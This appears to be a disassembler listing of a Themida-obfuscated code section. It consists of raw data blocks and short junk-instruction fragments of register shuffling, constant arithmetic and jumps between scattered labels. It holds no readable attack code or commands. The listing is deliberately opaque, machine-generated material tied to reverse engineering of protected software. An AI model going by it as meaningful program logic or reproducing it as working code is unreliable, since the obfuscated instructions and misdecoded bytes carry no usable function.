		dd 248B2404h, 0C8BF0F24h, 1CB768h, 24348900h, 0E955E689h
		dd 0FFFF199Ch, 912BC781h, 0FA018440h, 6D51685Fh, 0C890000h
		dd 0E9525524h, 331Fh, 2C3FC581h, 0EE81620Eh, 3260682Fh
		dd 915C681h, 0EE296630h, 915EE81h, 0C6816630h, 3260682Fh
		dd 577CE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562436:				; CODE XREF: Themida_:0055E4D3j
		sub	al, 1
		sub	al, 5Fh
		dec	al
		or	al, 0DAh
		push	bx
		mov	bl, 94h
		xor	al, bl
		pop	bx
		sub	bl, al
		jmp	loc_567B84
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 68241489h,	460468DEh
		dd 0FFD0315Ah, 34FF2434h, 89515A24h, 4BE56E1h, 1000000h
		dd 3CDAE9F1h, 1EE9FFFFh, 0FFFFFF0Ch, 669D1C77h,	24041058h
		dd 0C0FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562496:				; CODE XREF: Themida_:005595F4j
		add	esp, 4
		add	eax, 0C4D4AAEFh
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55C577
; ---------------------------------------------------------------------------

loc_5624A9:				; CODE XREF: Themida_:00559028j
		mov	[esp], ebp
		jmp	loc_557140
; ---------------------------------------------------------------------------
		db 59h,	55h, 0BDh
		dd 2, 2C8BEA01h, 4EC8124h, 89000000h, 0E589242Ch, 4C581h
		dd 0C5810000h, 4, 5C242C87h, 31241433h,	14332414h, 3CD35C24h
		dd 0BAE99C24h
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5624EB:				; CODE XREF: Themida_:00561806j
		shl	ecx, 5
		shr	ecx, 4
		xor	ecx, 68713434h
		add	ecx, 0B129E13h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_554490
; ---------------------------------------------------------------------------

loc_562505:				; CODE XREF: Themida_:00562793j
		push	ebx
		mov	ebx, 587C1494h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	1599h
		jmp	loc_55E02D
; ---------------------------------------------------------------------------
		dd 4C481h, 0C4810000h, 4, 0FFBE39E9h, 0CE895BFFh, 81D6F759h
		dd 0C16EE6EEh, 43C0E970h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562542:				; CODE XREF: Themida_:0055702Bj
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 11C11E78h
		push	esi
		mov	esi, 0C62053B6h
		xor	eax, esi
		jmp	loc_55C746
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9242489h, 0FFFFDCAFh
; ---------------------------------------------------------------------------

loc_56256C:				; CODE XREF: Themida_:0055791Bj
		mov	ebx, 4
		jmp	loc_554077
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 3FB548Ch, 0EE81CE01h, 3FB548Ch, 0AEB4E955h, 16E9FFFFh
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56258F:				; CODE XREF: Themida_:0055D29Ej
		add	ebx, 137977C5h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_560506
; ---------------------------------------------------------------------------
		dd 46CDEF81h, 67E95216h, 68FFFFC3h, 6AA9h, 0E9240489h
		dd 0FFFF24A5h, 23E95B5Eh
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5625BF:				; CODE XREF: Themida_:0055913Ej
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_558352
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E98302E1h, 1E6568FFh, 8DE90000h, 51FFFF81h,	0EC83E189h
		dd 0D6AEE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5625E6:				; CODE XREF: Themida_:00566986j
		push	514215E3h
		pop	eax
		add	eax, 8C62DEA8h
		mov	esi, eax
		pop	eax
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 38DC34E4h
		add	eax, 6D2C185Ch
		sub	eax, 513C0744h
		add	eax, edi
		jmp	loc_557448
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0FFh
		dd 56FFFFFFh, 0BB4E37BEh, 8EE7E93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56262E:				; CODE XREF: Themida_:005661AFj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55B465
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8704C283h, 0E95C2414h, 0FFFFF37Bh, 8B243C87h, 3C892424h
		dd 555F5424h, 0FF8927E9h, 0BBC681FFh, 819D010Eh, 0F17DDBC7h
		dd 81F70144h, 0F17DDBEFh, 0FF4AE944h, 8B66FFFFh, 0EC832404h
		dd 240C8904h, 5653E189h, 41CFE9h
		db 0
; ---------------------------------------------------------------------------

loc_562681:				; CODE XREF: Themida_:0055B749j
		add	esp, 4
		sub	edx, 165A43D5h
		add	edx, eax
		add	edx, 165A43D5h
		push	dword ptr [esp]
		jmp	loc_553E81
; ---------------------------------------------------------------------------

loc_56269D:				; CODE XREF: Themida_:00563FB1j
		mov	eax, 7F257A61h
		xor	edi, eax
		pop	eax
		inc	edi
		add	edi, 16083E28h
		shl	edi, 5
		sub	edi, 49493E7h
		mov	edx, edi
		jmp	loc_561566
; ---------------------------------------------------------------------------

loc_5626BC:				; CODE XREF: Themida_:0055C9F8j
		mov	ebp, 144D5E10h
		add	ebp, 0A5A7907h
		shl	ebp, 7
		push	ebx
		mov	ebx, 620D687Fh
		jmp	loc_559CBE
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 5Bh
		dd 3F631D2Dh, 4EC831Bh,	2848E9h
		db 0
; ---------------------------------------------------------------------------

loc_5626E5:				; CODE XREF: Themida_:00554EE3j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_55FE26
; ---------------------------------------------------------------------------

loc_5626FB:				; CODE XREF: Themida_:0056189Ej
		xor	edi, 81F43827h
		sub	edi, 539D00C8h
		jmp	loc_558C5D
; ---------------------------------------------------------------------------
		dd 55BD989h, 7AB234D0h,	0D02DC829h, 8B7AB234h, 0FF68240Ch
		dd 89000004h, 5954240Ch, 4C181h, 0C1810000h, 4,	0E9240C87h
		dd 0FFFFAD12h, 8B58C188h, 0C483241Ch, 2434FF04h, 4C4815Ah
		dd 51000000h, 8B240CFEh, 44E9240Ch
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56275B:				; CODE XREF: Themida_:00555BCDj
		add	esp, 4
		jmp	loc_55616A
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 6719BD24h, 0BA522C4Dh, 0D3B298EBh, 0CCE9D501h
		dd 5B00003Eh, 0BA52F701h, 72B81FBCh, 5E5AD701h,	9D468h
		dd 4922E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562792:				; CODE XREF: Themida_:0055D41Cj
		pop	edi
		jmp	loc_562505
; ---------------------------------------------------------------------------

loc_562798:				; CODE XREF: Themida_:0056396Dj
		mov	[esp], ebp
		jmp	loc_554511
; ---------------------------------------------------------------------------
		dd 8B240487h, 0EC832424h, 24348904h, 4BEh, 5EF10100h, 5104C183h
		dd 42474FFh, 83240C8Bh,	48F04C4h, 5F46E924h, 4310000h
		dd 3881E924h, 0DD01FFFFh, 0FF9834E9h, 0E2C680FFh, 0E9F38853h
		dd 0FFFF66D9h
; ---------------------------------------------------------------------------

loc_5627E4:				; CODE XREF: Themida_:005539AAj
		push	ebp
		push	3814h
		mov	[esp], ecx
		push	eax
		sub	dword ptr [esp], 6A667644h
		pop	ecx
		add	ecx, 6A667644h
		jmp	loc_558A15
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0
aBJZqsip	db 'b;J]ZQé‰P',0
		dw 8B00h
		dd 0EC83241Ch, 6E97E904h, 0DA01FFFFh, 7AC281h, 335B5C83h
		dd 14312414h, 24143324h, 6624248Bh, 9C2404FFh, 0FF086CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562839:				; CODE XREF: Themida_:0056767Ej
		add	esp, 4
		push	1F1Bh
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_55700B
; ---------------------------------------------------------------------------

loc_56284E:				; CODE XREF: Themida_:00561FC7j
		add	edi, eax
		add	edi, 22281FF2h
		jmp	loc_55A9AB
; ---------------------------------------------------------------------------

loc_56285B:				; CODE XREF: Themida_:00562C88j
		mov	esi, [esp]
		push	ecx
		jmp	loc_561EF5
; ---------------------------------------------------------------------------

loc_562864:				; CODE XREF: Themida_:00561169j
		mov	esi, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_555F83
; ---------------------------------------------------------------------------

loc_562880:				; CODE XREF: Themida_:00558637j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		mov	eax, 559E0A6Eh
		jmp	loc_5539A5
; ---------------------------------------------------------------------------

loc_562892:				; CODE XREF: Themida_:00565195j
		push	ebp
		jmp	loc_567F34
; ---------------------------------------------------------------------------
		dd 7BE9DD29h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56289F:				; CODE XREF: Themida_:00557BE7j
		xor	ecx, ebx
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_567591
; ---------------------------------------------------------------------------
		dw 3668h
		dd 89000066h, 0BD552424h, 4, 2451BF57h,	7C015D95h, 14E90824h
		dd 52000033h, 0FF342FE9h, 0CB151FFh, 0E943C980h, 11C5h
; ---------------------------------------------------------------------------

loc_5628D8:				; CODE XREF: Themida_:00556CC7j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_565527
; ---------------------------------------------------------------------------
		dd 8081CD80h, 0C580DDF5h, 333CE936h, 51BAFFFFh,	681B5975h
		dd 29696511h, 0FFC29EE9h, 0EC8356FFh, 24248904h, 4240483h
		dd 4C6815Eh, 83000000h,	348704C6h, 24248B24h, 6804C483h
		dd 30B3h, 68240489h, 134Ah, 53240C89h, 0DD88D388h, 77F0685Bh
		dd 1C890000h, 0E8885024h, 8858C788h, 0F028E9FCh, 0EA81FFFFh
		dd 7AAE62D1h, 315AE9h, 24248B00h, 0FFE852E9h, 5BDA01FFh
		dd 8704C283h, 0E95C2414h, 3E64h, 42474FFh, 24048F5Fh, 0E924248Bh
		dd 0FFFF1F48h
; ---------------------------------------------------------------------------

loc_562984:				; CODE XREF: Themida_:0055CE43j
		shr	esi, 4
		xor	esi, 5B212117h
		jmp	loc_565649
; ---------------------------------------------------------------------------

loc_562992:				; CODE XREF: Themida_:0055ED23j
		add	edi, 4
		jmp	loc_562C00
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 231068h, 241C8900h, 0C3815B54h, 4, 4C381h
		dd 1C870000h, 24248B24h, 125868h, 4E3AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5629CA:				; CODE XREF: Themida_:0055FCCFj
		push	edx
		push	2E20h
		mov	[esp], ecx
		mov	edx, [esp]
		jmp	loc_55A697
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 24440100h, 34FF5804h, 0C4815E24h, 4, 0FF17CAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5629F5:				; CODE XREF: Themida_:0056462Aj
		push	17D7h
		jmp	loc_556292
; ---------------------------------------------------------------------------
		db 29h
		dd 0C0C181D9h, 0E92F3C6Fh, 1FC6h, 700768h, 24048900h, 73DAE954h
		dd 0E95CFFFFh, 4D63h
; ---------------------------------------------------------------------------

loc_562A20:				; CODE XREF: Themida_:00564F09j
		mov	[esp], edx
		jmp	loc_563CC0
; ---------------------------------------------------------------------------
		dd 0E9E8305Bh, 0FFFFF61Ch, 1C295B5Dh, 24048124h, 56011301h
		dd 12F2E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562A42:				; CODE XREF: Themida_:0055594Cj
		pop	ebx
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_553C8C
; ---------------------------------------------------------------------------

loc_562A58:				; CODE XREF: Themida_:00561CB5j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	eax
		jmp	loc_5644CE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2C18100h, 33000000h, 0C31240Ch, 240C3324h, 6624248Bh
		dd 2404AB0Fh, 617E99Ch,	815AFFFFh, 0F04246Ch, 29534F12h
		dd 0E9042454h, 6077h, 48E9CE88h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562AA7:				; CODE XREF: Themida_:0055442Bj
		add	ecx, 4EA77778h
		jmp	loc_55CE35
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 22CAE924h, 5651FFFFh, 0FE2B68BEh, 5EF1892Eh,	0F5D7E951h
		dd 0EA81FFFFh, 4, 5C241487h, 50240C89h,	54550BB8h, 0ABF9B973h
		dd 0C101C485h, 72FA6858h, 3C890000h, 100BF24h, 0F93137DAh
		dd 57243C8Bh, 0E5E9E789h, 1FFFF3Eh, 243C8BFDh, 4C481h
		dd 0E9500000h, 0FFFF7A0Fh
; ---------------------------------------------------------------------------

loc_562B10:				; CODE XREF: Themida_:00564A8Dj
		sub	edx, 6C43E28h
		add	edx, ebp
		add	edx, 6C43E28h
		push	ebx
		mov	ebx, 620D2C1Ah
		jmp	loc_5649C5
; ---------------------------------------------------------------------------
		db 0F6h, 1Ch, 24h
		dd 573E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562B32:				; CODE XREF: Themida_:005551FEj
		push	5A962308h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		dec	ecx
		shr	ecx, 1
		push	7EF6h
		mov	[esp], ecx
		jmp	loc_5620C2
; ---------------------------------------------------------------------------

loc_562B53:				; CODE XREF: Themida_:00560CA2j
		inc	eax
		not	eax
		shl	eax, 4
		add	eax, 7AD247Bh
		jmp	loc_55D6BC
; ---------------------------------------------------------------------------
		db 56h
		dd 0F99E9h, 8BE93100h, 8957242Ch, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 0A975E95Ch,	0F181FFFFh, 16BC17AAh
		dd 435EE9h, 24348B00h, 4C481h, 0EB810000h, 7B9A20D7h, 241C875Fh
		dd 6624248Bh, 0F6E930FFh, 83FFFF04h, 554601EEh,	0B24019BDh
		dd 64C5815Ch, 0C126C764h, 0D9E906E5h, 4500000Ah, 2A10E9h
		dd 0C6815800h, 0F4AA1754h, 47EBEF81h, 0F7295DFFh, 47EBC781h
		dd 15E5DFFh, 28C781EFh,	8B67A025h, 8950242Ch, 405E0h, 4050000h
		dd 0E9000000h, 0FFFFAFB1h
; ---------------------------------------------------------------------------

loc_562C00:				; CODE XREF: Themida_:00562998j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5575F2
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h, 4956804h, 34890000h, 83E68924h
		dd 3C8904ECh, 4BF24h, 0EE810000h, 3DCE77FFh, 0BF57FE01h
		dd 60650D16h, 3489E781h, 0DFF75592h, 9DE9EFD1h,	100003Bh
		dd 4EEB81EBh, 5D7B8920h, 8B241C87h, 0C8842424h,	0C600E99Ch
		dd 0C15DFFFFh, 0CCE904E8h, 59FFFF54h, 2DCDE9h
		db 0
; ---------------------------------------------------------------------------

loc_562C75:				; CODE XREF: Themida_:0056097Ej
		mov	esi, 1
		push	69BEh
		mov	[esp], eax
		push	esi
		push	7D0E34C5h
		jmp	loc_56285B
; ---------------------------------------------------------------------------
aPirs		db 'P‰àéÇ',1Bh,0
		dd 4CF58100h, 31409C5Eh, 35D6E9EBh, 8B660000h, 0CA68240Ch
		dd 89000059h, 0EC81243Ch, 4, 24048F54h,	4B951h,	6C810000h
		dd 77B0424h, 4C010D3Eh,	44810424h, 77B0424h, 6E90D3Eh
		dd 8B000015h, 0C4832414h, 59C80004h, 0FF102DE9h, 2A730DFFh
		dd 0F79235E5h, 0E8D192D2h, 6F1DBF57h, 0E7811D04h, 1430186Fh
		dd 55E9D7F7h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562D03:				; CODE XREF: Themida_:005577AAj
		add	bh, 1Dh
		jmp	loc_55E346
; ---------------------------------------------------------------------------
		db 81h
		dd 0D45638EBh, 0BAC3810Bh, 17A4B6Fh, 0B8B850C3h, 0C105C35Ch
		dd 0D8F705E0h, 85672925h, 0EBA0543h, 0C38136C7h, 18EA4219h
		dd 0FFA4FBE9h, 0C895CFFh, 65A66824h, 0E9594E4Dh, 3FBCh
		dd 1C4066B8h, 494C2D40h, 10D016Bh, 5273371h, 5C2D07A5h
		dd 0FF24F6E9h, 0A6E95DFFh, 5B00003Bh, 148BD029h, 4C48124h
		dd 0E9000000h, 3671h, 0E92434FFh, 0FFFF5ABCh
; ---------------------------------------------------------------------------

loc_562D80:				; CODE XREF: Themida_:00562185j
		add	ebx, 4
		jmp	loc_55F469
; ---------------------------------------------------------------------------
		dd 0D188C181h, 67E98DF5h, 81000044h, 4C4h, 12DEE900h, 0C1FE0000h
		dd 507AE980h, 0C13069B0h, 7E56E958h, 0E189FFFFh, 4C181h
		dd 0C1810000h, 4, 5C240C87h, 8957F800h,	10E0E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562DCA:				; CODE XREF: Themida_:0056609Dj
		pop	ebx
		add	ebp, edi
		pop	edi
		mov	esi, [esp]
		jmp	loc_55EDA6
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0E3B2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562DDE:				; CODE XREF: Themida_:00564C70j
		push	edi
		mov	edi, 18575618h
		sub	edi, 788A7CA0h
		sub	edi, 6693793Ch
		neg	edi
		not	edi
		jmp	loc_55AFF1
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0C1h
		dd 4A3E9313h, 0A0ECBB53h, 0DA298A41h, 0D8E0E95Bh, 67BBFFFFh
		dd 8151847Dh, 439BBE3h,	1FEB8154h, 1500439h, 0EA835BDAh
		dd 24143304h, 33241431h, 0D1E92414h, 56FFFFE2h,	0F04D1EBEh
		dd 0E9F12979h, 0FFFF1FEDh, 4BF57h, 78E90000h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562E4B:				; CODE XREF: Themida_:00563A98j
		mov	bl, 30h
		jmp	loc_55B0CA
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 242FEF81h,	0C7816A48h, 5515049Ah, 0EF81DF01h
		dd 5515049Ah, 0FF77CAE9h, 0F0BE56FFh, 813A4F18h, 0E37DB4CEh
		dd 3BF68171h, 0C1618037h, 0D6F707E6h, 0FFAA67E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562E8D:				; CODE XREF: Themida_:00560EDAj
		pop	ebp
		sub	ebx, ebp
		add	ebx, 6D4806C3h
		add	ebx, 3D8C015Dh
		push	4697h
		mov	[esp], eax
		mov	eax, 52FC4C18h
		sub	ebx, 3474356Fh
		jmp	loc_55BF21
; ---------------------------------------------------------------------------
		dd 81DAF74Ah, 7F635FF2h, 0C4F28102h, 29EBB855h,	0EE295AD5h
		dd 0E9FE015Dh, 0FFFFEF83h
; ---------------------------------------------------------------------------

loc_562ED0:				; CODE XREF: Themida_:0056029Aj
		dec	eax
		sub	eax, 13692398h
		xor	ebp, eax
		pop	eax
		shl	ebp, 1
		sub	ebp, 34188E19h
		jmp	loc_564EB5
; ---------------------------------------------------------------------------
		dw 0C159h
		dd 0C18106E1h, 4E32655Fh, 34FFCB31h, 8CE95924h,	51FFFF1Ch
		dd 0EB8827B5h, 86D3F659h, 86DDF6EBh, 0BEE380EBh, 4EC81h
		dd 14890000h, 66CAB624h, 5E9E953h, 0DF01FFFFh, 88DEF81h
		dd 0D6E95E2Dh, 81000056h, 4C2h,	24143300h, 0E9241431h
		dd 0FFFF459Dh, 5A241CF6h, 8084B551h, 0C580FFC5h, 27F580DCh
		dd 5366D5F6h, 0ED80D9B3h, 0B8B3E993h, 0E801FFFFh, 0FDE9575Dh
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562F63:				; CODE XREF: Themida_:00555CF7j
		pop	ebp
		push	50DFh
		jmp	loc_553AA5
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0C0E90000h, 0BDFFFF24h, 43E9629Eh, 170DC581h
		dd 0AFE91BBAh
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562F8B:				; CODE XREF: Themida_:0056194Fj
		xor	bl, 0BDh
		add	bl, 0B3h
		neg	bl
		jmp	loc_55E95E
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 4C181h, 0C330000h, 240C3124h,	0E9240C33h
		dd 3731h
; ---------------------------------------------------------------------------

loc_562FB4:				; CODE XREF: Themida_:005647E1j
		pop	edx
		mov	edx, esi
		pop	esi
		inc	edx
		add	edx, 1
		jmp	loc_557A5B
; ---------------------------------------------------------------------------

loc_562FC1:				; CODE XREF: Themida_:00559C58j
		pop	cx
		add	al, dl
		jmp	loc_565707
; ---------------------------------------------------------------------------
		dw 481h
		dd 5A423C24h, 4EC8313h,	0B9240C89h, 284E4403h, 4244481h
		dd 73CC5044h, 4244C29h,	4246C81h, 73CC5044h, 0B8505359h
		dd 13F22F5Fh, 5E8C140h,	2CE6CA35h, 58C3890Eh, 0FF674AE9h
		dd 678D68FFh, 2C890000h, 3E30E924h, 0D0F60000h,	0FFC7B3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56301D:				; CODE XREF: Themida_:00555C1Dj
		push	edi
		push	dword ptr [esp]
		pop	eax
		push	esi
		jmp	loc_564EC2
; ---------------------------------------------------------------------------
		dd 0DFF7E958h, 0EC83FFFFh, 24348904h, 53BE9h
		db 0
; ---------------------------------------------------------------------------

loc_563039:				; CODE XREF: Themida_:0056859Bj
		pop	edi
		or	edx, ecx
		jmp	loc_55BB57
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0B0h
		dd 28FFFF55h, 372C5AF0h, 1CE9832Ch, 56FFFFB1h, 4AD4E9h
		db 0
; ---------------------------------------------------------------------------

loc_563059:				; CODE XREF: Themida_:0056827Ej
		sub	ecx, edx
		pop	edx
		sub	ecx, 13EC1E91h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		dec	ecx
		not	ecx
		push	edx
		mov	edx, 4C239F73h
		add	ecx, 201178A1h
		add	ecx, edx
		jmp	loc_564ED5
; ---------------------------------------------------------------------------
		dw 2BBh
		dd 1000000h, 22685BDFh,	89000024h, 74FF243Ch, 34FF0424h
		dd 243C8B24h, 4C481h, 54570000h, 769685Fh, 14890000h, 677ABA24h
		dd 50E95C82h, 89FFFFE5h, 0BE662434h, 0C1662535h, 0C16603EEh
		dd 4E6602E6h, 81664E66h, 667635E6h, 5E68C681h, 81E68956h
		dd 4C6h, 4EE8100h, 0E9000000h, 0FFFF9531h, 56CDE957h, 0E0C10000h
		dd 68630D03h, 9C356004h, 8952937Fh, 0E94F58C7h,	0FFFF6E90h
; ---------------------------------------------------------------------------

loc_563104:				; CODE XREF: Themida_:00555F7Ej
		pop	ebp
		sub	ebp, 0B63B16Eh
		sub	edx, 3FFB7CE5h
		sub	edx, ebp
		add	edx, 3FFB7CE5h
		pop	ebp
		shl	edx, 5
		push	ebp
		mov	ebp, 76F14161h
		not	ebp
		shl	ebp, 6
		sub	ebp, 2C7447FEh
		xor	edx, ebp
		pop	ebp
		and	edx, 79F116D9h
		push	ebp
		jmp	loc_5576E5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8A000000h, 88042454h, 0E9042464h, 0FFFF18E0h, 0E9242C89h
		dd 0FFFF2B0Bh, 0E9526659h, 0FFFF534Ch, 0E9241489h, 0FFFFC65Ah
		dd 8BD5315Eh, 0C4812414h, 4, 65FFE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56317A:				; CODE XREF: Themida_:005575AEj
		push	2F6Dh
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 21213812h
		add	edx, 19492AD0h
		and	edx, 49DF4054h
		shr	edx, 5
		shl	edx, 4
		inc	edx
		xor	edx, 4252025h
		add	ebx, edx
		jmp	loc_55EA10
; ---------------------------------------------------------------------------
		db 66h
		dd 354DC381h, 66C30166h, 354DEB81h, 17C38166h, 0E956665Ch
		dd 0FFFFA2B9h, 0E924248Bh, 0FFFEFED9h, 24048B66h, 8904EC83h
		dd 6968243Ch, 8900003Fh, 4832424h, 3C8B0424h, 4C48324h
		dd 608768h, 0FF5EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5631F2:				; CODE XREF: Themida_:00553970j
		mov	ebp, 353F6D65h
		add	ebp, 0D13BE279h
		push	ebp
		push	ecx
		mov	ecx, 6D1C1899h
		xor	[esp+4], ecx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55ED3B
; ---------------------------------------------------------------------------
		db 87h
		dd 248B240Ch, 1E36824h,	0DCE90000h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563227:				; CODE XREF: Themida_:00560C57j
		mov	[esp], edx
		mov	edx, 2EC956D4h
		add	[esp+8], edx
		jmp	loc_56070A
; ---------------------------------------------------------------------------
		dd 4C481h, 5050000h, 127505Ch, 5C052DF8h, 4EE92750h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56324F:				; CODE XREF: Themida_:0055EF88j
		sub	ebp, edi
		pop	edi
		add	ebp, 10B7A11h
		add	ebp, 0C07C1B2Eh
		xor	ecx, ebp
		pop	ebp
		xor	ecx, 0D25FBEB5h
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_553F67
		push	0F2Bh
		mov	[esp], eax
		push	1Ch
		push	dword ptr [esp]
		pop	eax
		push	747Eh
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_568D3C
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 4EC815Ch,	89000000h, 0EC832404h, 24148904h
		dd 0C680C6B6h, 51DEF601h, 0EE00FDB5h, 5AF08859h, 0E967B551h
		dd 36F8h, 8B241433h, 1C892424h,	0ACE95524h, 5CFFFFFCh
		dd 31242C33h, 2C33242Ch, 24248B24h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		jmp	loc_555E0B
; ---------------------------------------------------------------------------
		db 0B8h, 0B0h, 8
		dd 0EBE97409h, 8BFFFF4Ch, 79E9242Ch, 8B000012h,	8B662424h
		dd 4A682404h, 89000079h, 5A542414h, 0AD685750h,	8B100136h
		dd 0C483243Ch, 5E7C104h, 0FF8C40E9h, 0FF5450FFh, 0E9582434h
		dd 0FFFFAD11h, 2434FF54h, 0FF7D11E9h, 24248BFFh, 0E9E1F766h
		dd 0FFFF37A3h, 0DB2D3605h, 9C10E920h, 0CBBBFFFFh, 894AD670h
		dd 0C7815BDFh, 0C76ED254h, 0A7E9FA09h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56336B:				; CODE XREF: Themida_:0055A191j
		pop	ebp
		sub	edi, ebx
		pop	ebx
		push	edi
		jmp	loc_55510D
; ---------------------------------------------------------------------------

loc_563375:				; CODE XREF: Themida_:005548C7j
		push	esi
		push	edx
		push	79BC2C44h
		pop	edx
		jmp	loc_567C9C
; ---------------------------------------------------------------------------
aIusg?		db 'ˆãéƒ?',0
		dd 568FBB00h, 0EB815CF4h, 4FA540F9h, 0EB81D3F7h, 68F27BC1h
		dd 0FF73DDE9h, 240C8BFFh, 4C481h, 89510000h, 4EC81E1h
		dd 89000000h, 4BA2414h,	0E9000000h, 0D95h
; ---------------------------------------------------------------------------

loc_5633C0:				; CODE XREF: Themida_:00556E6Aj
		add	dword ptr [esp], 4
		jmp	loc_5687F3
; ---------------------------------------------------------------------------

loc_5633CC:				; CODE XREF: Themida_:00565985j
		sub	ebp, 81D6646Fh
		jmp	loc_565F89
; ---------------------------------------------------------------------------
		db 0ACh
		dd 585B6866h, 240C8966h, 1460E9h
		db 0
; ---------------------------------------------------------------------------

loc_5633E5:				; CODE XREF: Themida_:0056219Aj
		xor	ecx, edi
		pop	edi
		jmp	loc_5683B0
; ---------------------------------------------------------------------------
		db 54h,	5Fh, 81h
		dd 4C7h, 4EC8300h, 55243489h, 0FF6164E9h, 0C6BA52FFh, 0F71EC163h
		dd 93F281D2h, 538819E8h, 0FFCAFDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563415:				; CODE XREF: Themida_:00554DCDj
		add	edi, 711BF5DFh
		sub	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 1C3F597Bh
		inc	ecx
		sub	ecx, 0A73BE3B8h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_558E5F
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2434h, 9DE9240Ch
		db 21h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56343F:				; CODE XREF: Themida_:0055B866j
		push	5801h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
